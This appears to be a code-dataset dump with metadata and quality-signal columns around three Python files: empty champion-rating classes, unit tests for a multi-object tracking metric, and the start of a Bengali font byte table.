hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f9fedfeb55d1eaed7a9c31a0134fe6bd4952b729
| 6,545
|
py
|
Python
|
loldib/getratings/models/NA/na_thresh/na_thresh_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_thresh/na_thresh_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
loldib/getratings/models/NA/na_thresh/na_thresh_top.py
|
koliupy/loldib
|
c9ab94deb07213cdc42b5a7c26467cdafaf81b7f
|
[
"Apache-2.0"
] | null | null | null |
from getratings.models.ratings import Ratings
class NA_Thresh_Top_Aatrox(Ratings):
pass
class NA_Thresh_Top_Ahri(Ratings):
pass
class NA_Thresh_Top_Akali(Ratings):
pass
class NA_Thresh_Top_Alistar(Ratings):
pass
class NA_Thresh_Top_Amumu(Ratings):
pass
class NA_Thresh_Top_Anivia(Ratings):
pass
class NA_Thresh_Top_Annie(Ratings):
pass
class NA_Thresh_Top_Ashe(Ratings):
pass
class NA_Thresh_Top_AurelionSol(Ratings):
pass
class NA_Thresh_Top_Azir(Ratings):
pass
class NA_Thresh_Top_Bard(Ratings):
pass
class NA_Thresh_Top_Blitzcrank(Ratings):
pass
class NA_Thresh_Top_Brand(Ratings):
pass
class NA_Thresh_Top_Braum(Ratings):
pass
class NA_Thresh_Top_Caitlyn(Ratings):
pass
class NA_Thresh_Top_Camille(Ratings):
pass
class NA_Thresh_Top_Cassiopeia(Ratings):
pass
class NA_Thresh_Top_Chogath(Ratings):
pass
class NA_Thresh_Top_Corki(Ratings):
pass
class NA_Thresh_Top_Darius(Ratings):
pass
class NA_Thresh_Top_Diana(Ratings):
pass
class NA_Thresh_Top_Draven(Ratings):
pass
class NA_Thresh_Top_DrMundo(Ratings):
pass
class NA_Thresh_Top_Ekko(Ratings):
pass
class NA_Thresh_Top_Elise(Ratings):
pass
class NA_Thresh_Top_Evelynn(Ratings):
pass
class NA_Thresh_Top_Ezreal(Ratings):
pass
class NA_Thresh_Top_Fiddlesticks(Ratings):
pass
class NA_Thresh_Top_Fiora(Ratings):
pass
class NA_Thresh_Top_Fizz(Ratings):
pass
class NA_Thresh_Top_Galio(Ratings):
pass
class NA_Thresh_Top_Gangplank(Ratings):
pass
class NA_Thresh_Top_Garen(Ratings):
pass
class NA_Thresh_Top_Gnar(Ratings):
pass
class NA_Thresh_Top_Gragas(Ratings):
pass
class NA_Thresh_Top_Graves(Ratings):
pass
class NA_Thresh_Top_Hecarim(Ratings):
pass
class NA_Thresh_Top_Heimerdinger(Ratings):
pass
class NA_Thresh_Top_Illaoi(Ratings):
pass
class NA_Thresh_Top_Irelia(Ratings):
pass
class NA_Thresh_Top_Ivern(Ratings):
pass
class NA_Thresh_Top_Janna(Ratings):
pass
class NA_Thresh_Top_JarvanIV(Ratings):
pass
class NA_Thresh_Top_Jax(Ratings):
pass
class NA_Thresh_Top_Jayce(Ratings):
pass
class NA_Thresh_Top_Jhin(Ratings):
pass
class NA_Thresh_Top_Jinx(Ratings):
pass
class NA_Thresh_Top_Kalista(Ratings):
pass
class NA_Thresh_Top_Karma(Ratings):
pass
class NA_Thresh_Top_Karthus(Ratings):
pass
class NA_Thresh_Top_Kassadin(Ratings):
pass
class NA_Thresh_Top_Katarina(Ratings):
pass
class NA_Thresh_Top_Kayle(Ratings):
pass
class NA_Thresh_Top_Kayn(Ratings):
pass
class NA_Thresh_Top_Kennen(Ratings):
pass
class NA_Thresh_Top_Khazix(Ratings):
pass
class NA_Thresh_Top_Kindred(Ratings):
pass
class NA_Thresh_Top_Kled(Ratings):
pass
class NA_Thresh_Top_KogMaw(Ratings):
pass
class NA_Thresh_Top_Leblanc(Ratings):
pass
class NA_Thresh_Top_LeeSin(Ratings):
pass
class NA_Thresh_Top_Leona(Ratings):
pass
class NA_Thresh_Top_Lissandra(Ratings):
pass
class NA_Thresh_Top_Lucian(Ratings):
pass
class NA_Thresh_Top_Lulu(Ratings):
pass
class NA_Thresh_Top_Lux(Ratings):
pass
class NA_Thresh_Top_Malphite(Ratings):
pass
class NA_Thresh_Top_Malzahar(Ratings):
pass
class NA_Thresh_Top_Maokai(Ratings):
pass
class NA_Thresh_Top_MasterYi(Ratings):
pass
class NA_Thresh_Top_MissFortune(Ratings):
pass
class NA_Thresh_Top_MonkeyKing(Ratings):
pass
class NA_Thresh_Top_Mordekaiser(Ratings):
pass
class NA_Thresh_Top_Morgana(Ratings):
pass
class NA_Thresh_Top_Nami(Ratings):
pass
class NA_Thresh_Top_Nasus(Ratings):
pass
class NA_Thresh_Top_Nautilus(Ratings):
pass
class NA_Thresh_Top_Nidalee(Ratings):
pass
class NA_Thresh_Top_Nocturne(Ratings):
pass
class NA_Thresh_Top_Nunu(Ratings):
pass
class NA_Thresh_Top_Olaf(Ratings):
pass
class NA_Thresh_Top_Orianna(Ratings):
pass
class NA_Thresh_Top_Ornn(Ratings):
pass
class NA_Thresh_Top_Pantheon(Ratings):
pass
class NA_Thresh_Top_Poppy(Ratings):
pass
class NA_Thresh_Top_Quinn(Ratings):
pass
class NA_Thresh_Top_Rakan(Ratings):
pass
class NA_Thresh_Top_Rammus(Ratings):
pass
class NA_Thresh_Top_RekSai(Ratings):
pass
class NA_Thresh_Top_Renekton(Ratings):
pass
class NA_Thresh_Top_Rengar(Ratings):
pass
class NA_Thresh_Top_Riven(Ratings):
pass
class NA_Thresh_Top_Rumble(Ratings):
pass
class NA_Thresh_Top_Ryze(Ratings):
pass
class NA_Thresh_Top_Sejuani(Ratings):
pass
class NA_Thresh_Top_Shaco(Ratings):
pass
class NA_Thresh_Top_Shen(Ratings):
pass
class NA_Thresh_Top_Shyvana(Ratings):
pass
class NA_Thresh_Top_Singed(Ratings):
pass
class NA_Thresh_Top_Sion(Ratings):
pass
class NA_Thresh_Top_Sivir(Ratings):
pass
class NA_Thresh_Top_Skarner(Ratings):
pass
class NA_Thresh_Top_Sona(Ratings):
pass
class NA_Thresh_Top_Soraka(Ratings):
pass
class NA_Thresh_Top_Swain(Ratings):
pass
class NA_Thresh_Top_Syndra(Ratings):
pass
class NA_Thresh_Top_TahmKench(Ratings):
pass
class NA_Thresh_Top_Taliyah(Ratings):
pass
class NA_Thresh_Top_Talon(Ratings):
pass
class NA_Thresh_Top_Taric(Ratings):
pass
class NA_Thresh_Top_Teemo(Ratings):
pass
class NA_Thresh_Top_Thresh(Ratings):
pass
class NA_Thresh_Top_Tristana(Ratings):
pass
class NA_Thresh_Top_Trundle(Ratings):
pass
class NA_Thresh_Top_Tryndamere(Ratings):
pass
class NA_Thresh_Top_TwistedFate(Ratings):
pass
class NA_Thresh_Top_Twitch(Ratings):
pass
class NA_Thresh_Top_Udyr(Ratings):
pass
class NA_Thresh_Top_Urgot(Ratings):
pass
class NA_Thresh_Top_Varus(Ratings):
pass
class NA_Thresh_Top_Vayne(Ratings):
pass
class NA_Thresh_Top_Veigar(Ratings):
pass
class NA_Thresh_Top_Velkoz(Ratings):
pass
class NA_Thresh_Top_Vi(Ratings):
pass
class NA_Thresh_Top_Viktor(Ratings):
pass
class NA_Thresh_Top_Vladimir(Ratings):
pass
class NA_Thresh_Top_Volibear(Ratings):
pass
class NA_Thresh_Top_Warwick(Ratings):
pass
class NA_Thresh_Top_Xayah(Ratings):
pass
class NA_Thresh_Top_Xerath(Ratings):
pass
class NA_Thresh_Top_XinZhao(Ratings):
pass
class NA_Thresh_Top_Yasuo(Ratings):
pass
class NA_Thresh_Top_Yorick(Ratings):
pass
class NA_Thresh_Top_Zac(Ratings):
pass
class NA_Thresh_Top_Zed(Ratings):
pass
class NA_Thresh_Top_Ziggs(Ratings):
pass
class NA_Thresh_Top_Zilean(Ratings):
pass
class NA_Thresh_Top_Zyra(Ratings):
pass
| 15.695444
| 46
| 0.766692
| 972
| 6,545
| 4.736626
| 0.151235
| 0.209818
| 0.389661
| 0.479583
| 0.803432
| 0.803432
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169748
| 6,545
| 416
| 47
| 15.733173
| 0.847258
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 8
|
e6388ed1bac8380dc2245c04977f79b4bd52d310
| 11,882
|
py
|
Python
|
tests/test_evaluations.py
|
jutanke/pak
|
6f3be954ef68804ebe622cafe46f033ccf6eb2e7
|
[
"MIT"
] | 20
|
2018-09-19T06:52:01.000Z
|
2020-10-02T11:18:00.000Z
|
tests/test_evaluations.py
|
justayak/pak
|
6f3be954ef68804ebe622cafe46f033ccf6eb2e7
|
[
"MIT"
] | 2
|
2017-11-16T21:42:54.000Z
|
2018-03-12T19:31:03.000Z
|
tests/test_evaluations.py
|
justayak/pak
|
6f3be954ef68804ebe622cafe46f033ccf6eb2e7
|
[
"MIT"
] | 3
|
2020-01-12T08:51:09.000Z
|
2020-10-06T05:47:24.000Z
|
import unittest
import sys
sys.path.insert(0, '../')
import numpy as np
import numpy.linalg as la
from pak.evaluation import MOTM
class TestEvaluation(unittest.TestCase):
def test_motm_duplicate(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 10],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 1, 10, 10],
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 3)
def test_motm_fn_with_debug_info(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 3, 11, 11],
[1, 2, 10, 10],
[2, 1, 0, 0],
[2, 3, 11, 11]
])
Hy = np.array([
[1, 2, 10, 10],
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g, FN_pairs, FP_pairs, MME_pairs =\
MOTM.evaluate(Gt, Hy, 5, cost,
debug_info=True)
self.assertEqual(FN_pairs[0][0], 1)
self.assertEqual(FN_pairs[1][0], 2)
self.assertEqual(FN_pairs[0][2], 11)
self.assertEqual(FN_pairs[1][2], 11)
self.assertEqual(len(FN_pairs), 2)
self.assertEqual(len(FP_pairs), 0)
self.assertEqual(len(MME_pairs), 0)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 2)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 5)
self.assertEqual(np.sum(c), 3)
def test_motm_fp_with_debug_info(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 10],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 2, 10, 10],
[1, 3, 20, 20],
[1, 4, 30, 30],
[2, 1, 0, 0],
[1, 1, 0, 0],
[2, 5, 88, 99]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g, FN_pairs, FP_pairs, MME_pairs =\
MOTM.evaluate(Gt, Hy, 5, cost,
debug_info=True)
self.assertEqual(len(FN_pairs), 0)
self.assertEqual(len(FP_pairs), 3)
self.assertEqual(len(MME_pairs), 0)
self.assertEqual(FP_pairs[0][0], 1)
self.assertEqual(FP_pairs[1][0], 1)
self.assertEqual(FP_pairs[2][0], 2)
self.assertEqual(FP_pairs[0][2], 20)
self.assertEqual(FP_pairs[1][2], 30)
self.assertEqual(FP_pairs[2][2], 88)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 3)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 3)
def test_motm_mme_with_debug_info(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 10],
[2, 1, 0, 0]
])
Hy = np.array([
[2, 1, 0, 0],
[1, 2, 10, 10],
[1, 3, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g, FN_pairs, FP_pairs, MME_pairs =\
MOTM.evaluate(Gt, Hy, 5, cost,
debug_info=True)
self.assertEqual(len(FN_pairs), 0)
self.assertEqual(len(FP_pairs), 0)
self.assertEqual(len(MME_pairs), 1)
self.assertEqual(MME_pairs[0][0], 2)
self.assertEqual(MME_pairs[0][1], 0)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 1)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 3)
def test_motm(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 10],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 2, 10, 10],
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 3)
def test_motm_with_debug_info(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 10],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 2, 10, 10],
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g, FN_pairs, FP_pairs, MME_pairs =\
MOTM.evaluate(Gt, Hy, 10, cost,
debug_info=True)
self.assertEqual(len(FN_pairs), 0)
self.assertEqual(len(FP_pairs), 0)
self.assertEqual(len(MME_pairs), 0)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 3)
def test_motm_correct_hyp_1elem(self):
Gt = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 2)
self.assertEqual(np.sum(c), 2)
def test_motm_wrong_hyp(self):
Gt = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 1, 0, 0],
[1, 2, 10, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 1)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 2)
self.assertEqual(np.sum(c), 2)
def test_motm_1miss(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 10, 0],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 1)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 3)
self.assertEqual(np.sum(c), 2)
def test_motm_1mme(self):
Gt = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0]
])
Hy = np.array([
[1, 1, 0, 0],
[2, 2, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 2)
self.assertEqual(len(m), 2)
self.assertEqual(len(mme), 2)
self.assertEqual(len(c), 2)
self.assertEqual(len(d), 2)
self.assertEqual(len(g), 2)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 1)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 2)
self.assertEqual(np.sum(c), 2)
def test_motm_cross(self):
Gt = np.array([
[1, 1, 0, 0],
[1, 2, 2, 2],
[2, 1, 1, 1],
[2, 2, 1, 1],
[3, 1, 2, 2],
[3, 2, 0, 0]
])
Hy = np.array([
[1, 2, 2, 2],
[1, 1, 0, 0],
[2, 2, 1, 1],
[2, 1, 1, 1],
[3, 1, 2, 2],
[3, 2, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 1.3, cost)
self.assertEqual(len(fp), 3)
self.assertEqual(len(m), 3)
self.assertEqual(len(mme), 3)
self.assertEqual(len(c), 3)
self.assertEqual(len(d), 3)
self.assertEqual(len(g), 3)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 6)
self.assertEqual(np.sum(c), 6)
def test_motm_interrupt(self):
Gt = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0],
[5, 1, 0, 0],
[6, 1, 0, 0],
[7, 1, 0, 0],
[8, 1, 0, 0]
])
Hy = np.array([
[1, 1, 0, 0],
[2, 1, 0, 0],
[5, 1, 0, 0],
[6, 1, 0, 0],
[7, 1, 0, 0],
[8, 1, 0, 0]
])
cost = lambda a, b: la.norm(a-b)
fp, m, mme, c, d, g = MOTM.evaluate(Gt, Hy, 10, cost)
self.assertEqual(len(fp), 8)
self.assertEqual(len(m), 8)
self.assertEqual(len(mme), 8)
self.assertEqual(len(c), 8)
self.assertEqual(len(d), 8)
self.assertEqual(len(g), 8)
self.assertEqual(np.sum(fp), 0)
self.assertEqual(np.sum(m), 0)
self.assertEqual(np.sum(mme), 0)
self.assertEqual(np.sum(d), 0)
self.assertEqual(np.sum(g), 6)
self.assertEqual(np.sum(c), 6)
# -------------------------------
# RUN IT
# -------------------------------
if __name__ == '__main__':
unittest.main()
| 26.943311
| 62
| 0.470712
| 1,735
| 11,882
| 3.17464
| 0.042075
| 0.457516
| 0.27451
| 0.261438
| 0.911402
| 0.862382
| 0.846042
| 0.842411
| 0.83297
| 0.824619
| 0
| 0.076693
| 0.35255
| 11,882
| 440
| 63
| 27.004545
| 0.639282
| 0.005891
| 0
| 0.821023
| 0
| 0
| 0.000932
| 0
| 0
| 0
| 0
| 0
| 0.477273
| 1
| 0.034091
| false
| 0
| 0.014205
| 0
| 0.051136
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
050ca060e88f71955b6d99fd65a5e803da89c8e9
| 15,849
|
py
|
Python
|
clock/font.py
|
sanmoy/clock
|
007bf803e3d7b9479c3116755a412ef75cb0c8e0
|
[
"MIT"
] | null | null | null |
clock/font.py
|
sanmoy/clock
|
007bf803e3d7b9479c3116755a412ef75cb0c8e0
|
[
"MIT"
] | null | null | null |
clock/font.py
|
sanmoy/clock
|
007bf803e3d7b9479c3116755a412ef75cb0c8e0
|
[
"MIT"
] | null | null | null |
BENGALI_FONT = [
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x00
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x01
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x02
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x03
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x04
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x05
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x06
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x07
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x08
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x09
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0A
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0B
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0C
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0D
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0E
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x0F
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x10
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x11
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x12
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x13
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x14
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x15
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x16
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x17
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x18
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x19
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1A
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1B
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1C
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1D
[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], # 0x1E
